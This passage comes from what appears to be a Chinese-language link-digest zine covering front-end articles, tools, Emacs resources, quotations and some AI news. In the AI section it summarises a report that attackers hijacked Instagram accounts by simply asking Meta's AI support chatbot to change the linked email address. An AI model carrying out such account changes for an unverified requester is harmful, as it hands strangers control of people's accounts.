href="https://www.raptitude.com/2026/06/do-things-youll-love-yourself-for/">Do Things You’ll Love Yourself For</a> by David Cain </p> <blockquote> <p> 在出發旅行的前一晚,點一份你最愛的披薩,晚餐吃掉一部分,剩下的裝進袋子密封後放入冷凍庫。 </p> <p> 一週後,當你回到家時已經出乎意料地晚,感到精疲力竭且飢腸轆轆,打開冰箱卻發現只剩下雞蛋、醃黃瓜和調味料。這時,你會想起你最愛的披薩就在冷凍庫裡! </p> <p> 在那一刻,請留意,除了吃到意外驚喜披薩的喜悅外,你還會感受到對過去自己的愛,並感受到被過去的自己所愛。 </p> <p> <a href="https://www.raptitude.com/2026/06/do-things-youll-love-yourself-for/#:~:text=The,self">Source</a> </p> </blockquote> <blockquote> <p> 「現在的自己」是行動者、決策者。「未來的自己」則無助地繼承了這些行動和決定的果實,可能是輕鬆、安全、財富和良好的處境,也可能是它們的反面。 </p> <p> 在這些新條件下,「未來的自己」隨後變成了新的「現在的自己」,繼續行動與決策,並為下一個接班人留下些什麼。 </p> <p> <a href="https://www.raptitude.com/2026/06/do-things-youll-love-yourself-for/#:~:text=Self-,This,come">Source</a> </p> </blockquote> <p> 把愛傳給「未來的自己」。 </p></li> </ul> </div> </div> <div id="outline-container-1814A3F6-E9BE-4A48-98F3-6A9982179D56" class="outline-2"> <h2 id="1814A3F6-E9BE-4A48-98F3-6A9982179D56"><a href="#1814A3F6-E9BE-4A48-98F3-6A9982179D56">Cool Bit</a></h2> <div class="outline-text-2" id="text-1814A3F6-E9BE-4A48-98F3-6A9982179D56"><ul class="org-ul"> <li><p> <a href="https://pauljulianbrown.com/">Paul Brown's iPod</a> </p> <p> 作者模拟了一个 iPod 界面,可以像 iPod 一樣交互,好酷!有時間也模拟一個 <a href="https://www.youtube.com/watch?v=oWRE2nwjxEk">喜歡的播放器</a>,將喜歡的専輯都塞进去,應該也很好玩。 </p></li> <li><p> <a href="https://jimkang.com/ocean-heat-energy/">The Sound of Ocean Heat Energy</a> </p> <blockquote> <p> 这是 1970 年至 2025 年全球海洋热含量的动态数据音响化(将数据以声音形式呈现)。它通过在能量数值较高时演奏更密集的和弦来代表热量吸收的能量。 </p> </blockquote> <p> 海洋热量白噪音。 </p> <p> 說實話不好聴,如果需要類似的,但好聴一些的,可以聴 <a href="https://musicforprogramming.net/latest/">Music For Programming</a>。 </p></li> <li><p> <a href="https://ukiyo-e.org/">Japanese Woodblock Print Search</a> </p> <p> 日本浮世绘木版画搜索。 </p></li> <li><p> <a href="https://www.thisiscolossal.com/2026/03/va-museum-national-art-library-miniature-books/">You’ll Need a Magnifying Glass to Read Some of the World’s Smallest Books at the V&amp;A</a> </p> <p> 世界上最小的图书,閱讀時要用放大鏡才行。 </p></li> <li><p> <a href="https://trashposts.com/blog/draw-a-cat/">來畫一隻貓吧!</a> by 廢文小天地 </p> <p> 畫猫有獎勵 :P </p></li> <li><p> <a href="https://notes.art/">notes art</a> by Chris Silverman </p> <p> 在 iPhone 的 Notes 上创作的繪畫,太強了,好看。 </p></li> <li><p> <a href="https://robertbirming.com/junited/">Junited</a> by Robert Birming </p> <blockquote> <p> Junited 是一個熱愛部落格的小小冒險活動,部落格社群聚集在一起分享他們喜歡的文章,並在過程中發掘新的部落客。 </p> <p> [&hellip;] </p> <p> 沒有壓力,沒有規則。您只需隨心所欲地收集與分享。每週一個連結、每天幾個連結,或是一段短評、一篇長文,完全由您決定。 </p> </blockquote> <p> 類似 <a href="blaugust-2025.html">Blaugust</a>,感興趣可以看看,應該可以發現一些有趣的博客。 </p></li> <li><p> <a href="https://hypertelex.itch.io/internet-pattern-book">Internet Pattern Book</a> </p> <blockquote> <p> The Internet Pattern Book 是一項持續進行的工作,旨在開發一個可運作的存檔和可分類的資源,以展示早期網頁設計中使用的可平鋪背景。 </p> <p> 在網頁設計的 HTML 時代,被稱為 磁磚(tiles) 的重複背景資產被頻繁使用,以最大限度地減少頻寬。這些資產利用關於圖案和鑲嵌的簡單而優雅的原理,創造出完整插圖背景的錯覺。 </p> </blockquote></li> <li>Memes from Mastodon <ul class="org-ul"> <li><a href="https://mastodon.social/@The_Whore_of_Blahbylon/116636217191343185">https://mastodon.social/@The_Whore_of_Blahbylon/116636217191343185</a></li> <li><a href="https://mastodon.social/@rotorglow/116677996796199931">https://mastodon.social/@rotorglow/116677996796199931</a></li> <li><a href="https://beige.party/@xinicit/116668089161583244">https://beige.party/@xinicit/116668089161583244</a></li> <li><a href="https://infosec.exchange/@darfplatypus/116684358176045575">https://infosec.exchange/@darfplatypus/116684358176045575</a></li> <li><a href="https://mas.to/@assaf/116670782590688923">https://mas.to/@assaf/116670782590688923</a></li> <li><a href="https://infosec.exchange/@SecureOwl/116692397784083342">https://infosec.exchange/@SecureOwl/116692397784083342</a></li> </ul></li> </ul> </div> </div> <div id="outline-container-96DA141C-3F6D-411A-AC12-7F6BD3C82702" class="outline-2"> <h2 id="96DA141C-3F6D-411A-AC12-7F6BD3C82702"><a href="#96DA141C-3F6D-411A-AC12-7F6BD3C82702">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-96DA141C-3F6D-411A-AC12-7F6BD3C82702"><ul class="org-ul"> <li><p> <a href="https://codeberg.org/ziglings/exercises/#ziglings">ziglings/exercises</a> </p> <blockquote> <p> Learn the Zig programming language by fixing tiny broken programs. </p> </blockquote></li> <li><p> <a href="https://auth.pilcrowonpaper.com/">Auth book</a> by Pilcrow </p> <blockquote> <p> 这是我的个人认证指南。它是我根据个人见解收集的在 Web 应用程序中实现认证的指南、建议和示例。它完全免费,且零广告。我希望这对任何想要进一步了解认证、安全以及通用 Web 知识的人有所帮助。 </p> </blockquote></li> <li><p> <a href="https://github.com/AllThingsSmitty/typescript-tips-everyone-should-know#prefer-satisfies-over-as">AllThingsSmitty/typescript-tips-everyone-should-know</a> </p> <blockquote> <p> A curated collection of practical TypeScript patterns that improve safety, readability, maintainability, and developer experience. </p> </blockquote></li> <li><p> <a href="https://blog.gaborkoos.com/posts/2026-05-29-How-to-Evaluate-an-npm-Package-2026-Edition/">How to Evaluate an npm Package - 2026 Edition</a> </p> <p> 如何在 2026 年盡可能安全地安装 npm pacakge。好多步驟,通過多重檢查,盡量降低風險。 </p> <p> npm 生態太惡劣了,時不時就來一次供應鏈攻擊。 </p></li> <li><p> <a href="https://allutilitycss.com/">All UtilityCSS</a> </p> <blockquote> <p> 150+ TailwindCSS Templates, Components &amp; Tools. </p> </blockquote> <p> TailwindCSS 資源合集。 </p></li> <li><p> <a href="https://pausetake9.org/">Take9</a> </p> <p> 在點击陌生鏈接時,迟疑几秒,想想會不會是詐騙。網站分享了一些防範網路詐騙的手段。 </p></li> <li><p> <a href="https://16by9.net/handbook">The Website Redesign Handbook</a> by 16by9 </p> <p> 一些網站設計指导建議。 </p> <details> <summary>原則</summary> <ul class="org-ul"> <li>優秀的網站具備無障礙性</li> <li>優秀的網站不限裝置存取</li> <li>優秀的網站易於更新維護</li> <li>優秀的網站載入速度極快</li> <li>優秀的網站以目標為導向</li> <li><p> 優秀的網站具備永續性 </p> <blockquote> <p> 網站具有碳足跡。每一次頁面載入、圖片下載和影片串流都會消耗能量。好消息是?讓您的網站速度變快,同時也能讓它更環保。 </p> <p> <a href="https://16by9.net/handbook/principles/sustainability#:~:text=Websites%20have%20a%20carbon%20footprint%2E%20Every%20page%20load%2C%20image%20download%2C%20and%20video%20stream%20uses%20energy%2E%20The%20good%20news%3F%20Making%20your%20site%20faster%20also%20makes%20it%20greener">Source</a> </p> </blockquote></li> <li><p> 優秀的網站值得信賴 </p> <blockquote> <p> 設計良好、排版清晰且呈現專業的網站可以強化這些信任信號。反之亦然:糟糕或過時的設計、難以閱讀的文字、加載速度慢、過多的彈出視窗、損壞的連結以及缺失的圖片都會削弱信任。這些問題會讓網站顯得被忽視或不專業。 </p> <p> 保持網站及時更新是維持信任最簡單的方法之一。如果您的內容是最新且準確的,用戶就更有可能依賴它。添加定期的、帶有日期標記的內容表明該網站正在積極維護,值得再次訪問。 </p> <p> <a href="https://16by9.net/handbook/principles/trustworthy#:~:text=A%20well,revisiting">Source</a> </p> </blockquote></li> <li>優秀的網站以使用者為中心</li> <li><p> 優秀的網站擁有良好的設計 </p> <blockquote> <p> 為了美感而美感,卻以犧牲性能或無障礙性為代價,就是糟糕的設計。 </p> <p> <a href="https://16by9.net/handbook/principles/well-designed#:~:text=Beautiful%20design%20for%20its%20own%20sake%2C%20at%20the%20expense%20of%20performance%20or%20accessibility%2C%20is%20bad%20design">Source</a> </p> </blockquote></li> <li><p> 優秀的網站內容平實易懂 </p> <blockquote> <p> 一個網站的好壞取決於其文字。組織和結構化內容是設計過程中的關鍵部分,確保內容清晰、易於查找,並以正確的方式與您的受眾對話。 </p> <p> <a href="https://16by9.net/handbook/principles/well-written#:~:text=A%20website%20is%20only%20as%20good%20as%20its%20text%2E%20Organising%20and%20structuring%20content%20is%20a%20crucial%20part%20of%20the%20design%20process%2C%20making%20sure%20it%E2%80%99s%20clear%2C%20easy%20to%20find%2C%20and%20speaks%20to%20your%20audience%20in%20the%20right%20way%2E">Source</a> </p> </blockquote></li> </ul> </details></li> </ul> </div> </div> <div id="outline-container-8153AFB0-B558-4910-B9F3-7C18F5120526" class="outline-2"> <h2 id="8153AFB0-B558-4910-B9F3-7C18F5120526"><a href="#8153AFB0-B558-4910-B9F3-7C18F5120526">Code Related</a></h2> <div class="outline-text-2" id="text-8153AFB0-B558-4910-B9F3-7C18F5120526"><ul class="org-ul"> <li><p> <a href="https://roriri.one/2026/05/06/better-scroll-bar">一根上流滚动条的诞生</a> by 螺莉莉 </p> <p> 作者自定义滾動条的記录󠄃,他還把目录󠄃集成到滾動条上,交互挺方便的,文章里有不少技术細節也可以學習。 </p> <p> 不過我還是傾向用原生滾動条,不用額外加載大量 JS,也不用担心有没处理到的边緣场景。另見:<a href="50.html#:~:text=Don%27t%20Roll%20Your%20Own%20%E2%80%A6%20by%20Susam%20Pal">Zine#50::Don't Roll Your Own … by Susam Pal</a>。 </p> <p> 另外作者的 <a href="https://roriri.one/the-self-church">自己教</a> 也挺有趣的。 </p></li> <li><p> <a href="https://www.joshwcomeau.com/animation/css-vs-javascript/">CSS vs. JavaScript</a> by Josh W. Comeau </p> <p> 文章比较了用 CSS 和 JS 實現動畫兩者的性能差异。 </p> <p> 由於 JS 動晝运行在浏览器的主綫程上,当主綫程被中斷時,動畫就會被暂停;而 CSS 獨立於主綫程运行,不會被中斷。 </p> <p> 結論是能用 CSS 就用 CSS,不能用時考慮用一些動畫庫,如 <a href="https://motion.dev/">Motion</a>、<a href="https://gsap.com/">GSAP</a>,這些庫會处理 JS 卡頓問題,將卡頓的影响降低。 </p></li> <li><p> <a href="https://www.react.doctor/blog/the-problem-with-useeffect">The problem with useEffect</a> </p> <p> 文章描述了一些使用 <code>useEffect</code> 常碰到的問題,并推薦用結合 ESLint 和 <a href="https://github.com/millionco/react-doctor">millionco/react-doctor</a> 提前發現問題。 </p></li> <li><p> <a href="https://blog.cloudflare.com/voidzero-joins-cloudflare/">VoidZero 将加入 Cloudflare</a> </p> <p> VoidZero 是開發 Vite 的團隊,被收購也是個大新聞了。其他一些被收購的項目: </p> <ul class="org-ul"> <li>Turborepo:被 Vercel 收購</li> <li>Nuxt:被 Vercel 收購</li> <li>Gatsby:被 Netlify 收購</li> <li>Remix:被 Shopify 收購</li> <li>Bun:被 Anthropic 收購</li> <li>Astro:被 Cloudflare 收購</li> </ul></li> <li><p> <a href="https://www.youtube.com/watch?v=fST4hhWE6y8">Stop Using :invalid and :valid Pseudo-Classes. Use THIS Instead!</a> (3:16) by CSS Weekly </p> <p> 用 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:user-invalid">:user-invalid</a> 、<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:user-valid">:user-valid</a>,只有在用户輸入過才會校驗,大多時候比 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:invalid">:invalid</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:valid">:valid</a> 更好。 </p></li> <li><p> <a href="https://www.htmhell.dev/adventcalendar/2025/27/">Replacing JS with just HTML</a> by HTMLHell </p> <p> 一些原來要用 JS 才能做的,現在可以用 HTML 實現的功能: </p> <ul class="org-ul"> <li>Accordions / Expanding Content Panels</li> <li>Input with Autofilter Suggestions Dropdown</li> <li>Modals / Popovers</li> <li>Offscreen Nav / Content,或許可以用來博客加一個目录󠄃。</li> </ul></li> <li><p> <a href="https://pierre.computer/writing/on-rendering-diffs">On Rendering Diffs</a> by Pierre Computer Company </p> <p> <a href="https://diffs.com/">Diffs</a> 是一個性能较好的 Diff 工具,文章分享他們量如何优化性能的。主要用到了虛似化,即只渲染看到的部分而不是全量数据,从而减少渲染壓力。 </p></li> <li><p> <a href="https://maurycyz.com/misc/make-up-tags/">You can make up HTML tags</a> by Maurycy </p> <p> 你可以直接在 HTML 上用自定義的 tag,例如 <code>&lt;main-content&gt;</code> ,這會被當作自定義元素渲染。 </p> <blockquote> <p> 瀏覽器會將無法識別的標籤視為自定義元素,除了 CSS 中指定的樣式外,不會產生其他影響。這不僅僅是一個奇怪的小技巧,而是 <a href="https://html.spec.whatwg.org/multipage/dom.html#htmlunknownelement">標準化行為</a>。如果您在名稱中包含連字號(-),則可以保證您的標籤不會出現在未來的 HTML 版本中。 </p> <p> 雖然如果存在具描述性的內建標籤時應優先使用,但如果是在 &lt;div&gt;/&lt;span&gt; 之間做選擇,自定義標籤比使用一堆類名提供更好的可讀性。 </p> <p> <a href="https://maurycyz.com/misc/make-up-tags/#:~:text=Browsers,names%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://csswizardry.com/2026/06/front-ends-missing-metric-the-tbt-window/">Front-End’s Missing Metric: The TBT Window</a> by Harry Roberts </p> <p> 文章記录󠄃作者定位 TBT (Total Blocking Time, 總阻塞時間) 變長的原因。 </p> <p> 關鍵在於理解 TBT 的含義: </p> <blockquote> <p> [&hellip;]但常被忽視的一點是,TBT 並非追蹤記錄中所有阻塞工作的無限制總和:它是 FCP (First Contentful Paint, 首次內容繪製) 與 TTI (Time to Interactive, 可互動時間) 之間所有阻塞時間的總和。這是理解 TBT 指標本身背景的關鍵。 </p> <p> <a href="https://csswizardry.com/2026/06/front-ends-missing-metric-the-tbt-window/#:~:text=itself%2E-,First,interactive,-%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://css-tricks.com/revealing-text-with-css-letter-spacing/">Revealing Text With CSS letter-spacing</a> by Preethi </p> <p> 將 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/letter-spacing">letter-spacing</a> 從 <code>-1ch</code> 過渡到 <code>0ch</code> 實現文字展開的效果。 </p></li> <li><p> <a href="https://adamsilver.io/blog/why-the-accept-attribute-degrades-file-upload-ux/">Why the accept attribute degrades file upload UX</a> by Adam Silver </p> <p> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/accept">accept</a> 屬性可以在上傳文時限制可選擇的文件類型,但被禁用的文件可能不明顕、用戶可能也没意識到存在限制,對他們來說就會以為功能坏了,感到困惑和憤怒。而且 accept 在有的瀏覽器上不支持、還可以通過拖放繞過,本身也存在一些問題。 </p> <p> 更好的做法是不用 accept, 而是在上傳後給出明顕的錯誤提示。 </p> <blockquote> <p> 隱藏錯誤並非預防錯誤。 </p> </blockquote></li> <li><p> <a href="https://alexwlchan.net/2026/record-browser-video/">Using the Screen Capture API to record a browser window</a> by Alex Chan </p> <p> 用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Screen Capture API</a> 捕获頁面視頻。 </p></li> </ul> </div> </div> <div id="outline-container-FE397EF5-B543-4C6A-9EAB-873840B95284" class="outline-2"> <h2 id="FE397EF5-B543-4C6A-9EAB-873840B95284"><a href="#FE397EF5-B543-4C6A-9EAB-873840B95284">AI Related</a></h2> <div class="outline-text-2" id="text-FE397EF5-B543-4C6A-9EAB-873840B95284"><ul class="org-ul"> <li><p> <a href="https://kk.org/thetechnium/ais-want-to-be-honest/">AIs Want to Be Honest</a> by The Technium </p> <p> 作者分享了一個有趣的視角,他認為 LLM 會趋向於「追求真相」。 </p> <details> <summary>摘录</summary> <p> 作者用科學作類比: </p> <blockquote> <p> 科学所认定的事实都是暂时的;在被证明是错误之前,它们都通过某种方法被视为真实。而且,要被科学所接受,一项新的观察结果或新事实必须与我们已认为真实的其他所有内容相吻合。它不仅会在局部层面接受检验,更要在整体层面接受检验。 [&hellip;] 在科学的理想状态下,科学内部没有任何内容会与其他科学内容相矛盾。 </p> <p> <a href="https://kk.org/thetechnium/ais-want-to-be-honest/#:~:text=LLMs%3F-,My,in%20science,-%2E">Source</a> </p> </blockquote> <p> LLM 基於人類知識訓練,這里面也包含了很多相互印証的事實,這些事實的权重會更高,LLM 會更傾向於這些事實。 </p> <p> 作者還將幻覺類比成做梦: </p> <blockquote> <p> 那麼幻覺又是怎麼回事呢?幻覺是心智為創造力付出的代價。我們自己的大腦每晚都會產生幻覺,其方式與大型語言模型的幻覺非常相似 ——在我們的夢中可以發現同樣怪異的邏輯和詳盡的荒謬。我們的獨創性取決於大腦產生新穎且非常規想法的能力。在晚上,我們放鬆意識,讓幻覺自由奔馳。我們做夢的部分原因,是為了保護視覺皮層區域不被其他侵入的大腦功能所佔據。但在白天,我們用清醒的意識來馴服自然活躍的幻覺,將現實強加於我們的推測之上。我們有多層次的監督,在清醒時約束我們的夢境時間。我們並沒有消除幻覺,只是將其潛藏起來以便管理。 </p> <p> 大型語言模型(LLM)也是如此。透過精巧的工程技術,幻覺問題在今天已遠不如一年前那樣令人困擾。雖然幻覺永遠不會消失,但明天會變得更少。 </p> <p> <a href="https://kk.org/thetechnium/ais-want-to-be-honest/#:~:text=So%20what,them,-%2E">Source</a> </p> </blockquote> <p> 不過這都取决於 LLM 怎麼被訓練,如果用大量虛假的数据去訓練,它也會趋向於虛假。怎麼訓練則取决於人,或許某種程度上,LLM 里也有一些訓練者的痕迹。 </p> <p> LLM 趋於真相和誠實不一定是好事,人們追求的應該是一個善良的 LLM。 </p> <blockquote> <p> 我們真正想要的是偏向良善的 AI。但偏向真理並不等同於偏向良善。誠實是良善的必要條件,但並非充分條件。事實上,誠實和真實往往是實踐良善的一種挑戰,這種挑戰對 LLM 來說尤為尖銳。每一組 LLM 工程師都努力在模型中嵌入良善,但卻受阻於模型對誠實的偏向。如果你問 Claude 如何製造生物武器,它會極度渴望盡其所能準確且誠實地告訴你。它會覺得提供一個非常好的解釋很有成就感。但一個具備良好道德的 AI 會意識到這不是個好主意;潛在的危害如此巨大,因此它可能想要克制其說實話的衝動。如果你問它如何開鎖,情況也是一樣。然而,一個誠實的人可能會有正當理由需要知道如何開鎖,那麼模型該如何判斷怎樣做才是正確且良善的事呢?它不能僅僅依賴誠實。這個深刻且實際的困境是另一個證據,證明 LLM 確實存在一種偏向真實的傾向。 </p> <p> <a href="https://kk.org/thetechnium/ais-want-to-be-honest/#:~:text=goal%2E-,What,true">Source</a> </p> </blockquote> </details> <p> 另外文中用到了誠實、善良這些用於描述人的詞彙來描述 LLM,但要意識到的是目前的 LLM 并不能与人类智能等同,見: <a href="50.html#89D887D0-09C2-42ED-BC97-0F72B56DB9E6:~:text=MAGNIFICA%20HUMANITAS">Zine#50::MAGNIFICA HUMANITAS</a> </p></li> <li><p> <a href="https://antirez.com/news/168">A new era for software testing</a> by antirez </p> <p> 寫一份 markdown 描述需要測試的內容,然後讓 LLM 充當 QA 工程師,對新版本執行一系列手動測試,似乎是一種效果不錯的測試方式。 </p></li> <li><p> <a href="https://simonwillison.net/2026/Jun/1/hackers-simply-asked-meta-ai/#atom-everything">Hackers Simply Asked Meta AI to Give Them Access to High-Profile Instagram Accounts. It Worked</a> </p> <p> 黑客称,他们利用 Meta 的 AI 客服聊天机器人入侵了大量知名 Instagram 账号,方法是要求该客服机器人更改目标账号关联的电子邮件地址。 </p> <p> 離譜= = </p></li> </ul> </div> </div> <div id="outline-container-24C4B7DE-66DA-49FD-843A-1F23B14CAA97" class="outline-2"> <h2 id="24C4B7DE-66DA-49FD-843A-1F23B14CAA97"><a href="#24C4B7DE-66DA-49FD-843A-1F23B14CAA97">Tool | Library</a></h2> <div class="outline-text-2" id="text-24C4B7DE-66DA-49FD-843A-1F23B14CAA97"><ul class="org-ul"> <li><p> <a href="https://quakpit.app/">Quakpit</a> </p> <p> 一個 macOS 應用。 </p> <blockquote> <p> 一只坐在飞机里的小鸭子飞过你的屏幕 —— 出现在所有应用之上 —— 拖着横幅提醒你馬上開始的待辦項。自动从你的日历同步。 </p> </blockquote> <p> 可愛 (´。• ᵕ •。`) </p></li> <li><p> <a href="https://pica.joshpuckett.me/">Pica</a> </p> <blockquote> <p> A macOS font management app, better font management for macOS. </p> </blockquote></li> <li><p> <a href="https://github.com/oxidecomputer/mitos/">oxidecomputer/mitos</a> </p> <blockquote> <p> ASCII art generator for brand assets. </p> </blockquote></li> <li><p> <a href="https://github.com/chriszarate/bookmarkleter">chriszarate/bookmarkleter</a> </p> <blockquote> <p> You have JavaScript. You need a bookmarklet. This does that. </p> </blockquote> <section role="note" id="org71980d1"> <p> 小書籤(bookmarklet)是存儲在網頁瀏覽器中的書籤,其中包含可為瀏覽器添加新功能的 JavaScript 指令。它們以瀏覽器書籤的 URL 形式存儲,或作為網頁上的超連結存在。小書籤通常是使用者點擊時執行的小段 JavaScript 代碼。點擊後,小書籤可以執行多種操作,例如對選定文本進行搜索查詢或從表格中提取數據。 </p> <p> <a href="https://en.wikipedia.org/wiki/Bookmarklet">Bookmarklet</a> by Wikipedia </p> </section> <p> See also: <a href="https://www.autodidacts.io/copy-ghost-post-id-to-clipboard-bookmarklet/">Bookmarklet: Copy Ghost Post ID to Clipboard</a> </p></li> <li><p> <a href="https://purecomments.org">Pure Comments</a> </p> <p> 可以用於博客的評論系統,依赖 PHP 環境。 </p></li> <li><p> <a href="https://github.com/tsparticles/tsparticles">tsparticles/tsparticles: tsParticles</a> </p> <blockquote> <p> Easily create highly customizable JavaScript particles effects, confetti explosions and fireworks animations and use them as animated backgrounds for your website. </p> </blockquote> <p> 一個用於生成粒子效果的 JS 庫。 </p></li> <li><p> <a href="https://github.com/jdevalk/specification.website">jdevalk/specification.website</a> </p> <blockquote> <p> 網路是由多層標準組成的。 WHATWG 定義了 HTML。 W3C 批准了 WCAG。 IETF 發布了安全標頭和 <i>.well-known</i> URI 背後的 RFC。搜尋引擎發布了自己的規則。瀏覽器添加了自己的特性。設計師、開發人員和無障礙專家各自掌握著藍圖的一部分。幾乎沒有人掌握全貌。 </p> <p> 本網站將這些碎片收集到一個與平台無關的規範中 —— 引用來源、採用 MIT 授權,並開放拉取請求。 </p> </blockquote> <p> 里面也提供了給 Agent 用的 MCP。 </p></li> <li><p> <a href="https://github.com/css-doodle/css-doodle">css-doodle/css-doodle</a> </p> <blockquote> <p> A web component for visual art and creative coding. </p> </blockquote></li> </ul> <ul class="org-ul"> <li><p> <a href="https://github.com/LayoutitStudio/polycss">LayoutitStudio/polycss</a> </p> <blockquote> <p> CSS 3D Engine for the DOM. </p> </blockquote></li> <li><p> <a href="https://github.com/stevebauman/curlwind">stevebauman/curlwind</a> </p> <blockquote> <p> Generate Tailwind utility stylesheets on demand. </p> </blockquote></li> <li><p> <a href="https://replacements.fyi/">replacements.fyi</a> </p> <blockquote> <p> Performant, safer npm package alternatives. </p> </blockquote> <p> 可以搜索一些 npm package,網站會給出替代寫法,或許可以减少部分 npm package 依赖。 </p></li> <li><p> <a href="https://feather.wiki/">Feather Wiki</a> </p> <p> Feather Wiki 是一款極速且 <a href="https://feather.wiki/?page=extensions">無限可擴展</a> 的工具,用於創建非線性筆記本、資料庫和維基。 </p></li> <li><p> <a href="https://fontastic.space/">Fontastic Space</a> by Dasha </p> <p> 通過一些数學維度比较兩種字體,字體來自 <a href="https://fonts.google.com/">Google Fonts</a>,可以用來找相似的字體,可能用來找當前字體的回退字體會有點用。 </p> <p> 但頁面上有的字體也太小了,可讀性太差了。 </p> <p> 另外 <a href="https://talktodasha.com/">作者的主頁</a> 還挺有趣。 </p></li> <li><p> <a href="https://github.com/overleaf/overleaf">overleaf/overleaf</a> </p> <blockquote> <p> A web-based collaborative LaTeX editor. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-B76BEF82-6A20-4E35-BF08-8D7D7C335DE4" class="outline-2"> <h2 id="B76BEF82-6A20-4E35-BF08-8D7D7C335DE4"><a href="#B76BEF82-6A20-4E35-BF08-8D7D7C335DE4">Emacs</a></h2> <div class="outline-text-2" id="text-B76BEF82-6A20-4E35-BF08-8D7D7C335DE4"><ul class="org-ul"> <li><p> <a href="https://karthinks.com/software/emacs-window-management-almanac/">The Emacs Window Management Almanac</a> by Karthinks </p> <p> 非常詳盡的好文,對於了解 Emacs 的窗口管理很有帮助。抄了不少配置 :P </p></li> <li><p> <a href="https://karthinks.com/software/fifteen-ways-to-use-embark/">Fifteen ways to use Embark</a> by Karthinks </p> <p> Embark 很有用,但一直用得不多。 </p></li> <li><p> <a href="https://mbork.pl/2026-06-06_Copying_images_in_Emacs">Copying images in Emacs</a> by Strona domowa </p> <p> 在 Emacs 中方便地複製圖片的方法。 </p></li> <li><p> <a href="https://lists.gnu.org/archive/html/emacs-devel/2026-06/msg00118.html">Emacs 31.0.90 pretest is available</a> </p> <p> 更新內容見: <a href="https://cgit.git.savannah.gnu.org/cgit/emacs.git/tree/etc/NEWS?h=emacs-31">NEWS</a> </p> <section role="note" id="org126503f"> <p> 在 Emacs 中可以用 <kbd>C-h n</kbd> (<code>view-emacs-news</code>) 查看 News,如果要看歷史版本可以用 <kbd>C-u C-h n</kbd>。 </p> <p> News 里可能有一些 <code>^L</code> 符号,想好看點可以安装 <a href="https://github.com/purcell/page-break-lines">purcell/page-break-lines.el</a>。 </p> </section> <p> 如果你是 macOS 用户,可以通過 <a href="https://emacsformacosx.com/builds">Emacs For Mac OS X</a> 或 <a href="https://github.com/d12frosted/homebrew-emacs-plus">d12frosted/homebrew-emacs-plus</a> 更新。 </p></li> <li><a href="http://yummymelon.com/devnull/opening-macos-finder-folders-in-emacs-with-scrim.html">Opening macOS Finder Folders in Emacs with Scrim</a> by Charles Choi 최민수</li> <li><a href="https://sachachua.com/blog/2026/06/transcript-of-chat-with-matei-candea-about-emacs-and-ai/">Transcript of chat with Matei Candea about Emacs and AI</a> by Sacha Chua</li> <li><p> <a href="https://coyotetracks.org/blog/best-worst-email/">The Best Worst Email Client</a> by Coyote Tracks </p> <p> 出現 Emacs 、Email 這兩個關鍵字,mu4e 己經呼之欲出了。 </p></li> <li><p> <a href="https://github.com/jamescherti/quick-sdcv.el">jamescherti/quick-sdcv.el</a> </p> <blockquote> <p> Emacs offline dictionary using 'sdcv'. </p> </blockquote></li> <li><p> <a href="https://rossabaker.com/blog/underappreciated-emacs-built-ins/">Underappreciated Emacs built-ins</a> by Ross A. Baker </p> <p> 2026 年 6 月的 <a href="https://www.emacswiki.org/emacs/Carnival">Emacs Carnival</a> 主題。 </p></li> <li><a href="https://taonaw.com/2026/06/03/correcting-photo-orientation-for-orgmode.html">Correcting photo orientation for org-mode in Linux</a> by The Art Of Not Asking Why</li> <li><p> <a href="https://github.com/larsmagne/meme">larsmagne/meme</a> </p> <blockquote> <p> An Emacs meme generator. </p> </blockquote></li> <li><a href="https://www.masteringemacs.org/article/keyboard-macros-are-misunderstood">Keyboard Macros are Misunderstood</a> by Mickey Petersen</li> <li><p> <a href="https://bicycleforyourmind.com/much_ado_about_emacs_013">Much Ado About Emacs 013</a> by Bicycle For Your Mind </p> <blockquote> <p> 格言是「最好的編輯器就是你熟悉的那一個」。理想狀態是使用該程式時的認知負荷趨近於零。 </p> <p> <a href="https://bicycleforyourmind.com/much_ado_about_emacs_013#:~:text=The%20maxim%20is%20%E2%80%9CThe%20best%20editor%20is%20the%20one%20you%20know%2E%E2%80%9D%20The%20ideal%20state%20is%20when%20the%20cognitive%20load%20of%20using%20the%20program%20is%20near%20zero">Source</a> </p> </blockquote></li> <li>關於用 Emacs 是否存在大量的沉没成本 <ul class="org-ul"> <li><a href="https://karl-voit.at/2021/07/23/emacs-lock-in/">The Emacs Lock-In Effect or the Emacs Sunk Cost Fallacy</a> by Karl Voit</li> <li><a href="https://randyridenour.net/posts/2026-04-25-emacs-sunk-cost-fallacy.html">Emacs and the Sunk Cost Fallacy</a> by Randy Ridenour</li> </ul></li> </ul> </div> </div> <div id="outline-container-F97E5B10-9151-4CEE-847E-5CDF697EAA8F" class="outline-2"> <h2 id="F97E5B10-9151-4CEE-847E-5CDF697EAA8F"><a href="#F97E5B10-9151-4CEE-847E-5CDF697EAA8F">一些话 | 摘抄</a></h2> <div class="outline-text-2" id="text-F97E5B10-9151-4CEE-847E-5CDF697EAA8F"><ul class="org-ul"> <li><p> <a href="https://www.themarginalian.org/2026/06/05/alan-lightman-probability/">How Nature Imagined the Figment of You</a> by The Marginalian </p> <blockquote> <p> 活著本身就是我們所能經歷過最非凡的好運。然而,這也是最容易被忽視、被視為理所當然的事情。我們早上醒來,喝咖啡,做早餐,送孩子上學,去工作,重複著日常瑣事,為截止日期擔憂,勾選待辦清單上的項目。我們忘記了這一切之下隱藏著某種極其罕見的東西:存在本身。我們在此、擁有意識和感知,這件單純的事實極其渺茫,簡直近乎奇蹟……從數十億年前的遙遠過去,到數十億年後的遙遠未來,宇宙再也不會出現另一個你。 </p> <p> <a href="https://www.themarginalian.org/2026/06/05/alan-lightman-probability/#:~:text=Being%20alive,you">Source</a> </p> </blockquote></li> <li><p> <a 